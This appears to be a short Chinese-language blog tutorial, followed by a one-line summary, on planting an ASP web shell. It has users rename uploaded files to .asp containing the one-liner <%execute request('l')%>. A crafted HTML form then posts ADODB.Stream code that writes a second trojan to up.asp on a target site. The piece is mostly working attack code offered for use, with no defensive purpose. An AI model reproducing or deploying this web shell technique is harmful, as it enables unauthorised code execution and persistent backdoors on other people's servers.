无论通过什么方法,图片或者exe或者rar=====,只要通过别人方法把后缀改为asp,但是asp中需要插入一段语言:
<%execute request("l")%>
保存。
然后,本地构造提交表单,action的内容指向插入asp文件,如xxx.asp。代码如下:
<form action=http://www.XXX.com/xxx.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("up.asp"),2
lP.Close
set lP=nothing
response.redirect "up.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>这填马的代码</textarea><BR><center><br>
<input type=submit value=提交>
博客介绍了将图片、exe、rar等文件后缀改为asp,并在其中插入特定语言 <%execute request(\l\)%> 保存。还说明了本地构造提交表单的方法,将action内容指向插入的asp文件,同时给出了相应代码示例。
318





